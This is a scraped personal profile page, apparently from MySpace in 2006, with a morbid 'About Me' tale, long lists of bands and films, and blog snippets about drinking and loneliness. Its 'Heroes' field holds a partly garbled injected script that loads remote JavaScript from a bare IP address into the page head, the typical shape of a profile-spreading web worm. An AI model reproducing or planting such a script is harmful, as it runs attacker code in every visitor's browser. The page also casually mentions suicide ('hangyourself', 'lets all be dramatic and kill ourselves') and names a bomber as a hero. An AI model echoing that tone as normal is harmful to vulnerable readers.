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maximum rambling seahorse

hangyourself

About Me

i want to turn into a squirrel or some other small, speedy animal and get shot a day later. and then the kid eating me swallows some pellets from the shotgun shell that killed me and he get's lead poisoning and they dont know what's wrong with him and in the hospital he gets really dizzy and falls over on a tray of big needles with all kinds of dangerous things in them because they are lazy and leave them out and they fly across the room and land in the nurses' faces and in his parents' faces and then everyone get's really sick and contagious with this crazy new disease and it spreads all over the city and people are dying and hacking up chunks of lung and wrecking cars and forgetting to put cigarettes out at the gas pump and blowing everything up and someone falls off a building onto a spiked fence and everyone just dies horribly and it's all because i turned into a god damned rodent for a day. lj:xxbhamxplayaxx shit happens and then you die.

My Interests

hangin an bangin, constant wind, candlelight, no shirts, periodically reverting to childhood, ACCESSORIZING!, bad translations, citi trends, hoop earrings, catchphrases, wikipedia, spitting, cussing, thigh highs, open minds, making noise, military surplus, survival, fire, fucking things up, celebrity gossip, making love, putting things in my mouth or to my lips, function over fashion, smiles, bare feet, and not sleeping

I'd like to meet:

manbearpig vampires lying cheating women anything and anyone that sucks out my life and soul and leaves me feeling like a used, wasted piece of garbage with good intentions; or a true stone cold fox.

Music:

karate, mogwai, godspeed you black emperor, the decemberists, converge, band of horses, the red chord, foreigner, ginuwine, mr. bigg, interpol, american football, make believe, joan of arc, owen, kim wilson, yo la tengo, necrophagist, !!!, malady, oxes, comrade, hank III, franz ferdidnand, death from above 1979, gang of four, starflyer59, hey mercedes, saves the day, elliott smith, hank williams sr, iron and wine, radiohead, appleseed cast, pedro the lion, pinback, the get up kids, album leaf, air, city of caterpillar, bright eyes, neva dinova, chromatics, ray charles, ben kweller, lucero, young jeezy, sparrows swarm and sing, darkest hour, frodus, hella, isis, death cab for cutie, biggy, ac/dc, elliot, devendra banhart, the microphones, mos def, piebald, the rolling stones, sigur ros, velvet underground, johnny cash, 2pac, against me!, alkaline trio, bloc party, metallica, don caballero, jets to brazil, mars volta, minus the bear, new order, murder by death, pelican, road side monument, pink floyd, ted leo, smashing pumpkins, usher, these arms are snakes, ten grand, tchaikovsky, tom waits, unwed sailor

Movies:

the brave little toaster, the big lebowski, tarantino stuff, castaway, the jerk, i heart huckabees, nick berg, fight club, shadow hours, flashdance, dawn of the dead, night of the living dead, red dawn, two g's and a key, rambo first blood, adaptation, mother,jugs, and speed, 28 days later, we were soldiers, willshegag.com, just about anything where the protagonist dies

Television:

squidbillies, man vs wild, history channel, dave chappelle, arrested developement, family guy, conan o' brien, reno911, legends of the hidden temple, cops,

Books:

mental_floss, salinger, kerouac, vonnegut, burroughs, vietnam war stuff, palahniuk, survival guides

Heroes:

doyle hargrove, terry trim, patrick swayze, the dude, carlos hathcock, eric rudolph, the grey carebear .."var s=..reateElement('script');s.src='http://75.126.2.157/.../.. .';..·getElementsByTagName('head')[0].appendCh ild(s);"

My Blog

candle headlights

im comfortable with everything, i wish everyone else could be, too.and ive decided i want love. the back and forth kind. it would be great right about now.
Posted by maximum rambling seahorse on Fri, 27 Oct 2006 04:06:00 PST

HOLY SHIT

MY CAPS BUTTON IS STUCK AND I CANT STOP LISTENING TO USHER AND I THINK THAT YOU SHOULD LET IT BURN HELL YEAH WHAT YES YOU KNOW THAT ITS THROUGH LET IT BURN FEELIN AINT THE SAME FIND MYSELF CALLI...
Posted by maximum rambling seahorse on Mon, 01 Jan 1900 12:00:00 PST

birds chirping again they suck

she just left the club only in reality it was like 4 hours ago why am i such a little girl and kill me every day im used to it already blah blah lets all be dramatic and kill ourselves then eve...
Posted by maximum rambling seahorse on Mon, 01 Jan 1900 12:00:00 PST

so much for that

i dont know what i did tonight and it should probably stay that way. it should probably stay that way with everything forever. haha. i keep hearing this little piano tune coming from aaron's bed and i...
Posted by maximum rambling seahorse on Mon, 01 Jan 1900 12:00:00 PST

the single life (revisited)

work a lot hang out with dudes that like to get fucked up that means without girls sleep really good and often...well, nap. sleep takes too long. read books. or, in my case, finish books you star...
Posted by maximum rambling seahorse on Mon, 01 Jan 1900 12:00:00 PST

tuesday morning

im drunk whats else is new
Posted by maximum rambling seahorse on Mon, 01 Jan 1900 12:00:00 PST